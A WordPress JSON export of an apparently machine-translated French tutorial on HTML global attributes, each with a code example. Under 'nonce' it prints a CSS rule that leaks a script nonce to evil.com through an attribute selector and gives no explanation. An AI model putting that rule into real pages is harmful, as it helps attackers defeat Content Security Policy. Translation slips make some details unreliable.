{"id":223,"date":"2024-10-28T14:03:51","date_gmt":"2024-10-28T11:03:51","guid":{"rendered":"https:\/\/planeta21vek.ru\/elina732\/fr\/?p=223"},"modified":"2025-11-20T21:21:08","modified_gmt":"2025-11-20T18:21:08","slug":"liste-complete-des-attributs-html-globaux-avec-exemples","status":"publish","type":"post","link":"https:\/\/planeta21vek.ru\/elina732\/fr\/2024\/10\/28\/liste-complete-des-attributs-html-globaux-avec-exemples\/","title":{"rendered":"Liste compl\u00e8te des attributs HTML globaux avec exemples"},"content":{"rendered":"

Des attributs globaux peuvent \u00eatre sp\u00e9cifi\u00e9s pour n’importe quel \u00e9l\u00e9ment HTML, m\u00eame ceux non sp\u00e9cifi\u00e9s dans la norme. Cela signifie que tous les \u00e9l\u00e9ments non standards doivent autoriser ces attributs, m\u00eame si l’utilisation de ces \u00e9l\u00e9ments signifie que le document n’est plus conforme au HTML.<\/p>\n


\n<\/p>\n

accesskey<\/span><\/h2>\n

L’attribut accesskey attribue un raccourci clavier \u00e0 un \u00e9l\u00e9ment HTML, permettant aux utilisateurs d’acc\u00e9der ou d’activer rapidement l’\u00e9l\u00e9ment en appuyant sur la touche sp\u00e9cifi\u00e9e en combinaison avec la touche Alt (ou cl\u00e9 Ctrl sur Mac). Utilisation non recommand\u00e9e<\/p>\n

\r\n<p>If you need to relax, press the <b>S<\/b>tress reliever!<\/p>\r\n<button accesskey="s">Stress reliever<\/button>\r\n<\/pre>\n
<\/p>\n
autocapitalize<\/span><\/h2>\n
L’attribut autocapitalize contr\u00f4le le comportement de capitalisation automatique pour les \u00e9l\u00e9ments d’entr\u00e9e et les \u00e9l\u00e9ments contenteditable. Il peut \u00eatre install\u00e9 sur on ou off, ou \u00e0 des valeurs plus sp\u00e9cifiques telles que words, sentences ou characters, pour d\u00e9terminer le comportement de capitalisation souhait\u00e9. off ou none – il n’y a pas de conversion des lettres, elles restent toutes en minuscules par d\u00e9faut. on ou sentences – la premi\u00e8re lettre de chaque phrase doit \u00eatre en majuscule, les lettres restantes restent en minuscules par d\u00e9faut. words – la premi\u00e8re lettre de chaque mot d’une phrase doit \u00eatre en majuscule, les lettres restantes restent en minuscules par d\u00e9faut. characters – toutes les lettres doivent \u00eatre en majuscules par d\u00e9faut. Sur les travaux en Safari<\/p>\n
\r\n<p><input type="text" autocapitalize="off" placeholder="off"><\/p>\r\n<p><input type="text" autocapitalize="sentences" placeholder="sentences"><\/p>\r\n<p><input type="text" autocapitalize="words" placeholder="words"><\/p>\r\n<p><input type="text" autocapitalize="characters" placeholder="characters"><\/p>\r\n<\/pre>\n
autofocus<\/span><\/h2>\n
L’attribut autofocus, lorsqu’il est appliqu\u00e9 \u00e0 un \u00e9l\u00e9ment de formulaire, sp\u00e9cifie que l’\u00e9l\u00e9ment doit recevoir automatiquement le focus lors du chargement de la page. Ceci est particuli\u00e8rement utile pour les champs de saisie dans lesquels l’utilisateur est cens\u00e9 fournir une saisie imm\u00e9diate, tels que les champs de recherche.<\/p>\n
Plus de d\u00e9tails ->><\/a><\/p>\n
contenteditable  <\/span><\/h2>\n
L’attribut contenteditable d\u00e9termine si le contenu de l’\u00e9l\u00e9ment peut \u00eatre modifi\u00e9 par l’utilisateur. Lorsque la valeur true l’\u00e9l\u00e9ment devient modifiable, permettant aux utilisateurs de modifier son contenu directement dans le navigateur.<\/p>\n
Plus de d\u00e9tails ->><\/a><\/p>\n
class<\/span><\/h2>\n
L’attribut class il s’agit d’une liste de registres des classes d\u00e9pendantes de l’\u00e9l\u00e9ment, s\u00e9par\u00e9s par des espaces. Les classes permettent \u00e0 CSS et Javascript de s\u00e9lectionner et d’acc\u00e9der \u00e0 l’aide de s\u00e9lecteurs de classe ou de fonctions telles que des m\u00e9thodes DOM document.getElementsByClassName. Les d\u00e9veloppeurs utilisent l’attribut tout le temps class. Non seulement cela facilite le style, mais cela vous aide \u00e9galement \u00e0 mieux organiser votre code et \u00e0 le rendre plus facile \u00e0 maintenir.<\/p>\n
Plus de d\u00e9tails ->><\/a><\/p>\n
dir<\/span><\/h2>\n
L’attribut dir sp\u00e9cifie la direction du texte pour le contenu de l’\u00e9l\u00e9ment. Il peut \u00eatre r\u00e9gl\u00e9 sur ltr (de gauche \u00e0 droite) ou rtl (de droite \u00e0 gauche). Cet attribut est particuli\u00e8rement important pour les langues qui s’\u00e9crivent de droite \u00e0 gauche, comme l’arabe et l’h\u00e9breu.<\/p>\n
\r\n<p dir="ltr">Exemple de texte fran\u00e7ais avec le sens correct.<\/p>\r\n<p dir="rtl">Exemple de texte fran\u00e7ais avec un sens incorrect.<\/p>\r\n<\/pre>\n
dragggable<\/span><\/h2>\n
L’attribut draggable d\u00e9termine si l’utilisateur peut faire glisser un \u00e9l\u00e9ment. Si r\u00e9gl\u00e9 sur true, l’\u00e9l\u00e9ment devient d\u00e9pla\u00e7able, permettant aux utilisateurs de le d\u00e9placer au sein d’une page ou entre diff\u00e9rentes pages ou applications. true – permet le glissement d’un \u00e9l\u00e9ment. false – emp\u00eache le glissement d’un \u00e9l\u00e9ment. auto – d\u00e9finit le comportement par d\u00e9faut du navigateur.<\/p>\n
\r\n <head> \r\n  <meta charset="utf-8"> \r\n  <title>draggable<\/title>\r\n  <style>\r\n   .trash {\r\n    border: 1px solid #929292; \/* Options de cadre *\/\r\n    background: url(\/example\/image\/trash.png) no-repeat 50% 50%; \/* Image d'arri\u00e8re-plan *\/\r\n    height: 200px; \/* Hauteur de la zone *\/\r\n    padding: 10px; \/* Distance de l'image au cadre *\/\r\n    text-align: center; \/* Alignement central *\/\r\n    margin-bottom: 1rem; \/* Espace ci-dessous *\/\r\n   }\r\n   .trash img {\r\n    height: 100%; \/* Hauteur de l'image *\/\r\n   }\r\n   img {\r\n    cursor: move; \/* Changer le type de curseur *\/\r\n   }\r\n  <\/style>\r\n  <script>\r\n   function allowDrop(e) {\r\n    e.preventDefault();\r\n   } \r\n   function drag(e) {\r\n    e.dataTransfer.setData("text", e.target.id);\r\n   } \r\n   function drop(e) {\r\n    e.preventDefault();\r\n    var data = e.dataTransfer.getData("text");\r\n    e.target.appendChild(document.getElementById(data));\r\n   }\r\n  <\/script>\r\n <\/head> \r\n <body> \r\n  <p>D\u00e9placez l'image dans un rectangle.<\/p>\r\n  <div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"><\/div>\r\n  <img src="image\/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">\r\n <\/body> \r\n<\/pre>\n
enterkeyhint<\/span><\/h2>\n
L’attribut enterkeyhint fournit une indication au navigateur sur l’action attendue lorsque l’utilisateur appuie sur une touche Enter lors de l\u2019interaction avec un \u00e9l\u00e9ment d\u2019entr\u00e9e. Valeurs possibles: enter, done, go, next, previous, search et send. L’attribut enterkeyhint vous permet de modifier l’apparence et le comportement du bouton Enter sur le clavier virtuel des appareils mobiles. Cela vous permet de modifier le comportement des champs de formulaire et de donner \u00e0 l’utilisateur une id\u00e9e de ce \u00e0 quoi s’attendre lors de l’utilisation du clavier. Si attribut enterkeyhint non pr\u00e9cis\u00e9, le navigateur s\u00e9lectionne ind\u00e9pendamment le type de bouton le plus adapt\u00e9.<\/p>\n
\r\n<!DOCTYPE html>\r\n<html lang="ru">\r\n <head>\r\n  <meta charset="utf-8">\r\n  <meta name="viewport" content="width=device-width, initial-scale=1.0">\r\n  <title>enterkeyhint<\/title>\r\n <\/head>\r\n <body>\r\n  <form>\r\n   <p><input type="search" autofocus placeholder="Rechercher sur le site" enterkeyhint="search">\r\n    <button>Trouver<\/button><\/p>\r\n  <\/form>\r\n <\/body>\r\n<\/html>\r\n<\/pre>\n
hidden<\/span><\/h2>\n
L’attribut hidden \u2014 il s’agit d’un attribut bool\u00e9en qui, lorsqu’il est pr\u00e9sent, cache l’\u00e9l\u00e9ment \u00e0 l’utilisateur. Cet attribut peut \u00eatre utilis\u00e9 pour stocker des informations qui ne doivent pas \u00eatre affich\u00e9es ou pour masquer des \u00e9l\u00e9ments de mani\u00e8re conditionnelle en fonction de l’interaction de l’utilisateur. Un moyen de masquer un \u00e9l\u00e9ment dans les cas o\u00f9 il ne convient pas opacity ou visibility. Contrairement aux deux autres m\u00e9thodes, celle-ci est appliqu\u00e9e directement dans le balisage HTML. Ce n’est pas une bonne pratique d’influencer l’apparence d’une page via le balisage, mais c’est parfois exactement ce que vous souhaitez. Essentiellement, c’est display: none \u2014 c’est ainsi que cela est d\u00e9crit dans les styles de navigateur.<\/p>\n
\r\n<p hidden>\r\nCe texte ne sera pas visible sur la page. Bien que l'\u00e9l\u00e9ment dans le balisage soit\r\n<\/p>\r\n<\/pre>\n
inert<\/span><\/h2>\n
L’attribut inert, lorsqu’il est pr\u00e9sent, emp\u00eache l’\u00e9l\u00e9ment et ses enfants de recevoir des \u00e9v\u00e9nements d’entr\u00e9e de l’utilisateur ou d’\u00eatre cibl\u00e9s. Cela peut \u00eatre utile pour cr\u00e9er des bo\u00eetes de dialogue modales ou d’autres \u00e9l\u00e9ments d’interface avec lesquels il ne faut pas interagir tant qu’une certaine condition n’est pas remplie. inert supprime un \u00e9l\u00e9ment de l\u2019ordre de navigation et de l\u2019arborescence d\u2019accessibilit\u00e9. Cela signifie que vous ne pouvez pas cliquer dessus, vous concentrer dessus, saisir des donn\u00e9es et les trouver via une recherche de page. Les lecteurs d’\u00e9cran ne lisent pas le contenu de ces \u00e9l\u00e9ments et ne d\u00e9clarent pas de r\u00f4les. Ceci est similaire au comportement d’un autre attribut global disabled, mais il y a une diff\u00e9rence entre eux, \u2014 inert peut \u00eatre attribu\u00e9 \u00e0 n\u2019importe quelle balise ou \u00e0 son groupe. inert – il n’y a pas de styles par d\u00e9faut. Cependant, le texte \u00e0 l’int\u00e9rieur d’un bloc ou d’un \u00e9l\u00e9ment avec inert ne peut pas \u00eatre distingu\u00e9, mais dans le cas disabled peut. Si un bouton a des styles de survol et de focus personnalis\u00e9s, alors le bouton avec inert les ignorera sans effort suppl\u00e9mentaire, contrairement \u00e0 disabled.<\/p>\n
\r\n[inert], [inert] * {\r\n  opacity: 0.7;\r\n  pointer-events: none;\r\n  cursor: default;\r\n  user-select: none;\r\n}\r\n<form inert>\r\n  <fieldset>\r\n    <legend>Dur\u00e9e de validit\u00e9 de la licence<\/legend>\r\n    <label for="start">Date de d\u00e9but<\/label>\r\n    <input type="date" id="start">\r\n    <label for="end">Date de fin<\/label>\r\n    <input type="date" id="end">\r\n    <button>Appliquer<\/button>\r\n  <\/fieldset>\r\n<\/form>\r\n<\/pre>\n
inputmode<\/span><\/h2>\n
L’attribut inputmode fournit une indication au navigateur sur le type de donn\u00e9es qui devraient \u00eatre saisies par l’utilisateur dans un contr\u00f4le de formulaire, influen\u00e7ant la disposition du clavier virtuel. Valeurs possibles: text, decimal, numeric, tel, email, url et search. L’attribut inputmode indique le navigateur sur les appareils dot\u00e9s d’un clavier \u00e0 l’\u00e9cran!!! quel jeu de caract\u00e8res afficher lors de la saisie de donn\u00e9es dans un champ sp\u00e9cifique. Indiqu\u00e9 pour les \u00e9l\u00e9ments input ou textarea.<\/p>\n\n
\r\n<input type="text" inputmode="numeric">\r\n<textarea inputmode="text"><\/textarea>\r\n<\/pre>\n
is<\/span><\/h2>\n
L’attribut is utilis\u00e9 conjointement avec des \u00e9l\u00e9ments personnalis\u00e9s, permettant aux d\u00e9veloppeurs de cr\u00e9er de nouveaux \u00e9l\u00e9ments HTML avec un comportement et des propri\u00e9t\u00e9s personnalis\u00e9s. Il sp\u00e9cifie le nom de la d\u00e9finition d’\u00e9l\u00e9ment personnalis\u00e9 dont l’\u00e9l\u00e9ment doit h\u00e9riter de son comportement. Ne fonctionne pas dans Safari<\/p>\n
\r\ncustomElements.define('word-count', WordCount, { extends: 'p' });\r\n<p is="word-count"><\/p>\r\n<\/pre>\n
itemid<\/span><\/h2>\n
L’attribut itemid, utilis\u00e9 en combinaison avec Microdata API, attribue un identifiant unique \u00e0 un \u00e9l\u00e9ment d’une page, permettant aux d\u00e9veloppeurs de cr\u00e9er des donn\u00e9es structur\u00e9es lisibles par machine. Attribut itemid d\u00e9finit un identifiant d’\u00e9l\u00e9ment global unique pour les microdonn\u00e9es. S’applique uniquement aux \u00e9l\u00e9ments pour lesquels des attributs sont simultan\u00e9ment d\u00e9finis itemscope et itemtype. En plus, itemid il est acceptable de l’utiliser avec des dictionnaires prenant en charge les identifiants globaux. Par exemple, pour un dictionnaire http:\/\/schema.org\/Book, qui d\u00e9crit des livres, un ISBN peut servir d’identifiant – un num\u00e9ro international unique de publication de livre.<\/p>\n
\r\n <body>\r\n  <div itemscope itemtype="http:\/\/schema.org\/Book" itemid="isbn:978-5-17-075250-8">\r\n  <h2 itemprop="name">Game of Thrones<\/h2>\r\n  <div itemprop="author">Georges Martin<\/div>\r\n  <div itemprop="bookFormat">Reli\u00e9<\/div>\r\n  <div itemprop="description">Une saga \u00e9pique et obs\u00e9dante sur le monde des Sept Royaumes.<\/div>\r\n  <\/div>\r\n <\/body>\r\n<\/pre>\n
itemprop<\/span><\/h2>\n
L’attribut itemprop utilis\u00e9 avec les microdonn\u00e9es pour d\u00e9terminer la propri\u00e9t\u00e9 d’un \u00e9l\u00e9ment, permettant aux moteurs de recherche et \u00e0 d’autres outils d’extraire et de traiter des donn\u00e9es structur\u00e9es \u00e0 partir d’une page Web. Attribut itemprop utilis\u00e9 pour ajouter des propri\u00e9t\u00e9s de dictionnaire de microdonn\u00e9es \u00e0 un \u00e9l\u00e9ment. Le nom de la propri\u00e9t\u00e9 est d\u00e9termin\u00e9 par la valeur itemprop, et la valeur de la propri\u00e9t\u00e9 est d\u00e9termin\u00e9e par le contenu de l’\u00e9l\u00e9ment HTML, par exemple le texte situ\u00e9 \u00e0 l’int\u00e9rieur de l’\u00e9l\u00e9ment.<\/p>\n
\r\n <body>\r\n  <div itemscope itemtype="http:\/\/schema.org\/Movie">\r\n   <div>\r\n    <h1 itemprop="name">Atlas des nuages <\/h1>\r\n    <span itemprop="alternativeHeadline">Cloud Atlas<\/span>\r\n    <img src="464484.jpg" alt="Atlas des nuages (Cloud Atlas)" itemprop="image">\r\n   <\/div>\r\n   <span>\r\n    <a itemprop="director" href="\/name\/23330\/">Lana Wachowski<\/a>\r\n   <\/span>\r\n   <span>\r\n    <a itemprop="producer" href="\/name\/26437\/">Stefan Arndt<\/a>\r\n   <\/span>\r\n   <span>\r\n    <a itemprop="musicBy" href="\/name\/312865\/">Reinhold Heil<\/a>\r\n   <\/span>\r\n   <span>\r\n    <a itemprop="genre" href="\/level\/10\/m_act%5Bgenre%5D\/2\/">fantaisie<\/a>\r\n   <\/span>  \r\n   <span class="title">En vedette:<\/span>\r\n   <div> \r\n    <a itemprop="actor" href="\/name\/9144\/">Tom Hanks<\/a>\r\n    <a itemprop="actor" href="\/name\/1179\/">Halle Berry<\/a>\r\n    <a itemprop="actor" href="\/name\/38704\/">Jim Broadbent<\/a>\r\n   <\/div>\r\n   <span itemprop="description">Six histoires - cinq r\u00e9incarnations se d\u00e9roulant \u00e0 des moments diff\u00e9rents, \u00e9troitement li\u00e9es les unes aux autres\u2026<\/span>\r\n  <\/div>\r\n <\/body>\r\n\r\n<div itemscope itemtype="http:\/\/schema.org\/Event">\r\n    <div itemprop="name">Spinal Tap<\/div>\r\n    <span itemprop="description">L'un des plus grands groupes de tous les temps se r\u00e9unira pour un spectacle inoubliable de deux jours.<\/span> Le concert aura lieu\r\n    <time itemprop="startDate" datetime="2011-05-08T19:30">8 mai \u0432 19:30<\/time>\r\n<\/div> \r\n\r\n<div itemscope itemtype="http:\/\/schema.org\/Offer">\r\n    <span itemprop="name">Blend-O-Matic<\/span> <span itemprop="price">$19.95<\/span>\r\n    <span itemprop="availability">D\u00e9j\u00e0 en vente!<\/span>\r\n<\/div>\r\n\r\n<div itemscope itemtype="http:\/\/schema.org\/Offer">\r\n    <span itemprop="name">Blend-O-Matic<\/span>\r\n    <span itemprop="price">$19.95<\/span>\r\n    <link itemprop="availability" href="http:\/\/schema.org\/InStock"\/>D\u00e9j\u00e0 en vente!\r\n<\/div>\r\n\r\n<div itemscope itemtype="http:\/\/schema.org\/Person">\r\n    <a href="alice.html" itemprop="url">Alice Jones<\/a>\r\n<\/div>\r\n<div itemscope itemtype="http:\/\/schema.org\/Person">\r\n    <a href="bob.html" itemprop="url">Bob Smith<\/a>\r\n<\/div>\r\n<\/pre>\n
Liste compl\u00e8te des types d’entit\u00e9s    http:\/\/schema.org\/docs\/full.html<\/p>\n
itemref<\/span><\/h2>\n
L’attribut itemref utilis\u00e9 dans les microdonn\u00e9es pour d\u00e9finir la relation entre un \u00e9l\u00e9ment et un attribut itemscope et d’autres \u00e9l\u00e9ments contenant des attributs itemprop, qui appartiennent au m\u00eame \u00e9l\u00e9ment, mais ne sont pas des descendants de l’\u00e9l\u00e9ment avec itemscope. Propri\u00e9t\u00e9s qui ne sont pas des enfants de l’\u00e9l\u00e9ment avec l’attribut itemscope, peut \u00eatre associ\u00e9 \u00e0 un \u00e9l\u00e9ment \u00e0 l’aide d’un attribut itemref. La valeur de cet attribut sp\u00e9cifie une liste d’identifiants d’\u00e9l\u00e9ments qui contiennent des propri\u00e9t\u00e9s suppl\u00e9mentaires ailleurs dans le document. Attribut itemref ne peut \u00eatre sp\u00e9cifi\u00e9 que pour les \u00e9l\u00e9ments qui contiennent l’attribut itemscope. L’attribut itemref ne fait pas partie du mod\u00e8le de microdonn\u00e9es. Il s’agit simplement d’une construction syntaxique pour aider les auteurs \u00e0 ajouter des annotations \u00e0 une page qui ne contient pas d’arborescence pratique.<\/p>\n
\r\n<div itemscope itemtype="http:\/\/schema.org\/Product" itemref="name thumb description"><\/div>\r\n<\/pre>\n
itemscope<\/span><\/h2>\n
L’attribut itemscope utilis\u00e9 avec des microdonn\u00e9es pour d\u00e9finir un nouvel \u00e9l\u00e9ment, cr\u00e9ant ainsi une port\u00e9e pour les attributs itemprop, pour associer des propri\u00e9t\u00e9s \u00e0 un \u00e9l\u00e9ment. Attribut itemscope sp\u00e9cifie la port\u00e9e du dictionnaire dans la structure de donn\u00e9es. Fonctionne g\u00e9n\u00e9ralement en conjonction avec l’attribut itemtype et fixe les limites o\u00f9 itemtype sera actif.<\/p>\n
itemtype<\/span><\/h2>\n
L’attribut itemtype utilis\u00e9 dans les microdonn\u00e9es pour d\u00e9finir un vocabulaire pour un \u00e9l\u00e9ment, fournissant un contexte pour les propri\u00e9t\u00e9s d\u00e9finies \u00e0 l’aide d’attributs itemprop. L’attribut itemtype sp\u00e9cifie l’adresse du dictionnaire qui sera utilis\u00e9 pour d\u00e9finir les propri\u00e9t\u00e9s d’un \u00e9l\u00e9ment dans la structure de donn\u00e9es. Yandex et Google prennent en charge la norme de balisage Schema.org, en cons\u00e9quence, comme valeur itemtype l’adresse du dictionnaire sur ce site est indiqu\u00e9e. Par exemple, pour marquer les organisations, la valeur est utilis\u00e9e http:\/\/schema.org\/Organization.<\/p>\n
lang<\/span><\/h2>\n
L’attribut lang d\u00e9finit la langue du contenu d’un \u00e9l\u00e9ment, am\u00e9liorant l’accessibilit\u00e9, permettant aux lecteurs d’\u00e9cran d’utiliser des r\u00e8gles de prononciation correctes et aidant \u00e0 la traduction.<\/p>\n
\r\n<p>This paragraph is English, but the language is not specifically defined.<\/p>\r\n<p lang="en-GB">This paragraph is defined as British English.<\/p>\r\n<p lang="fr">Ce paragraphe est d\u00e9fini en fran\u00e7ais.<\/p>\r\n<\/pre>\n
nonce<\/span><\/h2>\n
L’attribut nonce utilis\u00e9 dans la politique de s\u00e9curit\u00e9 du contenu (CSP) pour permettre l’ex\u00e9cution de certains scripts ou styles en ligne, augmentant ainsi la s\u00e9curit\u00e9 en emp\u00eachant l’ex\u00e9cution de code non autoris\u00e9.<\/p>\n
\r\n<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">\r\n\r\nscript[nonce~="whatever"] {\r\n  background: url("https:\/\/evil.com\/nonce?whatever");\r\n}\r\n<\/pre>\n
Dans PHP 7+ projets \u00e0 g\u00e9n\u00e9rer ‘nonce’ vous pouvez utiliser la fonction random_bytes(), dont le r\u00e9sultat doit \u00eatre trait\u00e9 base64_encode() ou bin2hex():<\/p>\n
\r\n$nonce = base64_encode( random_bytes(128\/8) );  \/\/ base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw==\r\n$nonce = bin2hex( random_bytes(128\/8) );        \/\/ Hex string like: 8153dd199525aed568a27dfd31038e4b\r\n<\/pre>\n
popover<\/span><\/h2>\n
L’attribut popover n’est pas un attribut global standard en HTML. Il peut faire r\u00e9f\u00e9rence \u00e0 un attribut personnalis\u00e9 utilis\u00e9 dans certaines biblioth\u00e8ques ou frameworks pour afficher des informations suppl\u00e9mentaires lors du survol ou du clic sur un \u00e9l\u00e9ment.<\/p>\n
\r\n<button popovertarget="my-popover">\r\n  Afficher le popover\r\n<\/button>\r\n<div id="my-popover" popover>\r\n  <p>Je suis un popover simple mais cool qui peut \u00eatre ferm\u00e9 avec le m\u00eame bouton<\/p>\r\n<\/div>\r\n<button popovertarget="my-popover" popovertargetaction="show">\r\n  Afficher le popover\r\n<\/button>\r\n<div id="my-popover" popover>\r\n  <button popovertarget="my-popover" popovertargetaction="hide">\r\n    <span aria-hidden="true">\u274c<\/span>\r\n    <span class="sr-only">Fermer<\/span>\r\n  <\/button>\r\n <p>Je suis un popover qui ne peut pas \u00eatre ferm\u00e9 avec le m\u00eame bouton<\/p>\r\n<\/div>\r\n<\/pre>\n
L’attribut popover il y a deux significations: auto \u2014 valeur par d\u00e9faut, n’a pas besoin d’\u00eatre sp\u00e9cifi\u00e9e explicitement. Un seul est affich\u00e9 \u00e0 la fois. Le popover peut \u00eatre ferm\u00e9 en cliquant \u00e0 l’ext\u00e9rieur de l’\u00e9l\u00e9ment; manual \u2014 vous pouvez en afficher plusieurs en m\u00eame temps. Le popover ne peut pas \u00eatre ferm\u00e9 en cliquant \u00e0 l’ext\u00e9rieur de celui-ci.<\/p>\n\n
\r\n<button popovertarget="popover-auto">\r\n  <code>popover="auto"<\/code>\r\n<\/button>\r\nInfo-bulle\r\n<div id="popover-auto" popover="auto">\r\n  <p>Je ferme les autres pop-ups. Je me ferme facilement.<\/p>\r\n<\/div>\r\n<\/pre>\n
\r\n<button popovertarget="popover-manual">\r\n  <code>popover="manual"<\/code>\r\n<\/button>\r\nInfo-bulle\r\n<div id="popover-manual" popover="manual">\r\n  <p>Je n'en ferme pas les autres. Je ne fermerai pas sans bouton.<\/p>\r\n<\/div>\r\n<\/pre>\n
spellcheck<\/span><\/h2>\n
L’attribut spellcheck d\u00e9termine si le contenu de l’\u00e9l\u00e9ment doit \u00eatre v\u00e9rifi\u00e9 par le navigateur pour les erreurs d’orthographe et de grammaire. Demande au navigateur de v\u00e9rifier si l’orthographe et la grammaire du texte sont correctes ou non. Bien que l’attribut puisse \u00eatre d\u00e9fini sur presque tous les \u00e9l\u00e9ments, l’effet ne sera perceptible que sur les champs du formulaire (input, textarea), ainsi que des \u00e9l\u00e9ments modifiables (ils ont l’attribut d\u00e9fini contenteditable). D\u00e9pend des param\u00e8tres du navigateur.<\/p>\n
\r\n <p contenteditable="true" spellcheck="false">\r\nFirefox ne d\u00e9sactive pas la v\u00e9rification orthographique pour les champs modifiables (dont l'attribut est d\u00e9fini sur contenteditable).\r\n  <\/p>\r\n<\/pre>\n
style<\/span><\/h2>\n
L’attribut style est utilis\u00e9 pour appliquer des styles CSS en ligne directement \u00e0 un \u00e9l\u00e9ment HTML, vous permettant de modifier le style rapidement et avec pr\u00e9cision sans avoir besoin d’une feuille de style externe. S’applique aux balises a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.<\/p>\n
\r\n <p><span style="color: red; font-size: 2em">L<\/span>orem ipsum dolor \r\n  sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt \r\n  ut lacreet dolore magna aliguam erat volutpat.<\/p>\r\n<div style="width: 50%;"><\/div>\r\n<\/pre>\n
tabindex<\/span><\/h2>\n
L’attribut tabindex d\u00e9finit l’ordre dans lequel un \u00e9l\u00e9ment re\u00e7oit le focus lorsque l’utilisateur navigue sur la page \u00e0 l’aide d’une touche Tab. tabindex ainsi appel\u00e9 \u00e0 cause de la cl\u00e9 Tab, qui se d\u00e9placent entre les \u00e9l\u00e9ments interactifs. Cette action est aussi souvent appel\u00e9e \u00abtabulation\u00bb ou \u00abtabulation\u00bb. Signification tabindex \u2014 tout entier n\u00e9gatif ou positif. Par exemple, 0, 1 ou -1. 0 – L’\u00e9l\u00e9ment est dans un ordre de navigation (ou de focus) s\u00e9quentiel, mais l’ordre lui-m\u00eame est d\u00e9termin\u00e9 par le navigateur. 1 ou un autre nombre positif – un \u00e9l\u00e9ment dans l’ordre de navigation sans la participation du navigateur. Plus la valeur est \u00e9lev\u00e9e, plus l’\u00e9l\u00e9ment est en ordre. -1 ou un autre nombre n\u00e9gatif – l’\u00e9l\u00e9ment peut \u00eatre cliqu\u00e9, mais il n’entre pas dans l’ordre de navigation s\u00e9quentiel. Autrement dit, vous ne pouvez pas vous concentrer dessus depuis le clavier, m\u00eame si c’\u00e9tait possible auparavant. Par d\u00e9faut, toutes les balises dans l’ordre de navigation ont la valeur 0. Ceci a ou area avec attribut href, button, input, select, textarea, premier \u00e9l\u00e9ment summary \u00e0 l’int\u00e9rieur details, iframe et object.<\/p>\n
Si plusieurs \u00e9l\u00e9ments ont les m\u00eames valeurs positives, ils sont class\u00e9s dans l’ordre dans le code. Dans cet exemple, l’accent sera d’abord mis sur le lien \u00abMoustaches\u00bb, puis sur les \u00abPattes\u00bb et enfin sur la \u00abQueue\u00bb.<\/p>\n
\r\n<a href="#mustache" tabindex="1">Moustaches<\/a>\r\n<a href="#paws" tabindex="1">Pattes<\/a>\r\n<a href="#tail" tabindex="1">Queue<\/a>\r\n<\/pre>\n
Tout \u00e9l\u00e9ment prend en charge le focus s’il a tabindex<\/p>\n
\r\n<ul>\r\n  <li tabindex="1">Un<\/li>\r\n  <li tabindex="0">Z\u00e9ro<\/li>\r\n  <li tabindex="2">Deux<\/li>\r\n  <li tabindex="-1">Moins un<\/li>\r\n<\/ul>\r\n<style>\r\n  li { cursor: pointer; }\r\n  :focus { outline: 1px dashed green; }\r\n<\/style>\r\n<\/pre>\n
title<\/span><\/h2>\n
L’attribut title fournit des informations suppl\u00e9mentaires sur un \u00e9l\u00e9ment, g\u00e9n\u00e9ralement affich\u00e9es sous forme d’info-bulle lorsque vous passez la souris sur l’\u00e9l\u00e9ment. Ajoute une info-bulle avec du texte qui appara\u00eet lorsque vous survolez un \u00e9l\u00e9ment. L’apparence d’une telle info-bulle d\u00e9pend des param\u00e8tres du navigateur et du syst\u00e8me d’exploitation et ne peut pas \u00eatre modifi\u00e9e directement \u00e0 l’aide du code ou des styles HTML. Attribut alt utilis\u00e9 pour les images dans la balise HTML img. Il contient un texte alternatif qui s’affiche lorsque l’image ne se charge pas pour une raison quelconque.<\/p>\n
\r\n<p title="Me voici!">Exemple d'info-bulle<\/p>\r\n<img alt="le chat se tient sur deux pattes et regarde par la fen\u00eatre" src="lien_vers_image.jpg">\r\n<\/pre>\n
translate<\/span><\/h2>\n
L’attribut translate sp\u00e9cifie si le contenu de l’\u00e9l\u00e9ment doit \u00eatre traduit lorsque la page est localis\u00e9e, vous donnant ainsi plus de contr\u00f4le sur le processus de traduction. Attribut translate d\u00e9termine si le contenu d’un \u00e9l\u00e9ment donn\u00e9 peut \u00eatre traduit ou non. La traduction peut \u00eatre effectu\u00e9e par divers services automatis\u00e9s, tels que Google Translate.<\/p>\n
\r\n<p translate="no">Ceci ne doit pas \u00eatre traduit!<\/p>\r\n<p>Ce texte peut \u00eatre traduit dans n'importe quelle langue.<\/p>\r\n<\/pre>\n
L’attribut est pris en compte par les syst\u00e8mes de traduction
\n\n","protected":false},"excerpt":{"rendered":"
Des attributs globaux peuvent \u00eatre sp\u00e9cifi\u00e9s pour n’importe quel \u00e9l\u00e9ment HTML, m\u00eame ceux non sp\u00e9cifi\u00e9s dans la norme. Cela signifie que tous les \u00e9l\u00e9ments non standards doivent autoriser ces attributs, m\u00eame si l’utilisation de ces \u00e9l\u00e9ments signifie que le document n’est plus conforme au HTML.<\/p>\n","protected":false},"author":1,"featured_media":224,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,7],"tags":[108,107,106,105,104,103,102,101,100,99,98,97,96,95,94,93],"class_list":{"0":"post-223","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-htmlverstka","8":"category-programmirovanie","9":"tag-inert","10":"tag-inputmode","11":"tag-is","12":"tag-itemid","13":"tag-itemprop","14":"tag-itemref","15":"tag-itemscope","16":"tag-itemtype","17":"tag-lang","18":"tag-nonce","19":"tag-popover","20":"tag-spellcheck","21":"tag-style","22":"tag-tabindex","23":"tag-title","24":"tag-translate"},"_links":{"self":[{"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/posts\/223","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/planeta21vek.ru\/elina732\/fr\/wp-json\/w